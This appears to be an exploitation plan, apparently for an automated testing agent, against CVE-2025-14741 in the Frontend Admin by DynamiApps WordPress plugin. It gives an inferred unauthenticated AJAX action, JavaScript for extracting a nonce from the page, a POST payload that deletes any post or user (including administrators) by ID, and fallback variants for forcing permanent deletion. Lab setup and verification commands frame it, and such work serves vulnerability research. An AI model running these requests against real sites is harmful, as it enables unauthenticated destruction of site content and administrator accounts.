Frontend Admin by DynamiApps <= 3.28.25 - Missing Authorization to Unauthenticated Arbitrary Data Deletion via 'delete post' Form Element

This research plan outlines the steps required to analyze and exploit CVE-2025-14741, a critical missing authorization vulnerability in the Frontend Admin by DynamiApps plugin.

---

1. Vulnerability Summary

• Vulnerability: Missing Authorization (Insecure Direct Object Reference / Missing Capability Check).
• Location: The delete_object function (likely a method in an AJAX handler class).
• Cause: The plugin exposes functionality to delete WordPress objects (posts, users, terms) via frontend forms. While it may implement nonce checks, it fails to verify if the requesting user has the necessary permissions (current_user_can()) to delete the specified object.
• Impact: Unauthenticated attackers can delete any post, page, product, taxonomy term, or user account (including administrators), leading to full site disruption or data loss.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: Likely acf_frontend/delete_object or acf_frontend/element/delete_object (inferred from plugin naming conventions).
• HTTP Method: POST
• Authentication: None required (vulnerable via wp_ajax_nopriv_* hooks).
• Key Parameters:
  • action: The AJAX action string.
  • object_id: The ID of the target to delete (Post ID or User ID).
  • object_type: (e.g., post, user, term).
  • nonce: A security token (likely accessible on pages where the plugin is active).

3. Code Flow (Inferred)

1. Entry Point: The plugin registers a nopriv AJAX handler:
   add_action( 'wp_ajax_nopriv_acf_frontend/delete_object', array( $this, 'delete_object' ) );
2. Handler Execution: The delete_object function is called.
3. Missing Check: The function likely calls wp_verify_nonce() but proceeds to call wp_delete_post() or wp_delete_user() without verifying current_user_can( 'delete_post', $post_id ) or current_user_can( 'delete_user', $user_id ).
4. Sink: The core WordPress deletion functions are executed on the user-provided object_id.

4. Nonce Acquisition Strategy

The Frontend Admin plugin localizes its configuration data to the frontend for its form elements.

1. Identify Shortcode: The plugin uses shortcodes like [acf_frontend_form] or specific element shortcodes to render forms.
2. Setup Page: Create a public page containing a Frontend Admin "Delete Post" element or a general form element.
3. Navigate & Extract:
   • Navigate to the created page.
   • The plugin localizes data in a global JavaScript object, usually acf_frontend or acf_frontend_form.
   • JS Variable: window.acf_frontend (inferred).
   • Nonce Key: acf_frontend.nonce or acf_frontend.ajax_nonce (inferred).
4. Execution Agent Command:

   // Using browser_eval to find the nonce
   const nonce = window.acf_frontend?.nonce || window.acf_frontend_form?.nonce;
   return nonce;
   

5. Exploitation Strategy

Step 1: Target Identification

Identify the ID of an object to delete (e.g., Post ID 1 or User ID 1 for the admin).

Step 2: HTTP Request Construction

Send a POST request to admin-ajax.php using the http_request tool.

• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Payload:

  action=acf_frontend/delete_object&object_id=TARGET_ID&object_type=user&nonce=EXTRACTED_NONCE
  

  (Note: The exact action string and parameter names must be confirmed by searching the plugin source for wp_ajax_nopriv).

6. Test Data Setup

1. Victim Post: Create a post titled "Sensitive Data" and note its ID.
2. Victim User: Create a secondary administrator or editor user and note their ID.
3. Trigger Page:
   • wp post create --post_type=page --post_status=publish --post_title="Form Page" --post_content='[acf_frontend_form]'
   • Alternatively, if the plugin requires a specific "Delete" element, use the plugin's UI to add a delete button to a page.

7. Expected Results

• Response: The AJAX endpoint should return a success message (e.g., {"success": true} or a 1).
• State Change: The target post or user should be permanently removed from the database (or moved to trash if force_delete is false).

8. Verification Steps

1. Post Deletion Check: wp post exists <ID> should return false or show the post is in the trash.
2. User Deletion Check: wp user list --id=<ID> should return an empty list.
3. Database Check: wp db query "SELECT * FROM wp_posts WHERE ID = <ID>" to confirm record removal.

9. Alternative Approaches

• Parameter variations: If object_type is not used, the plugin might use separate actions like acf_frontend/delete_post and acf_frontend/delete_user.
• Form ID requirement: Some handlers might require a form_id or element_id to validate which "delete button" configuration is being used. These can be extracted from the HTML attributes of the delete button on the trigger page (e.g., data-form-id="...").
• Trash vs. Permanent: Try adding force=1 or permanent=true to the payload if the initial deletion only moves the object to the trash.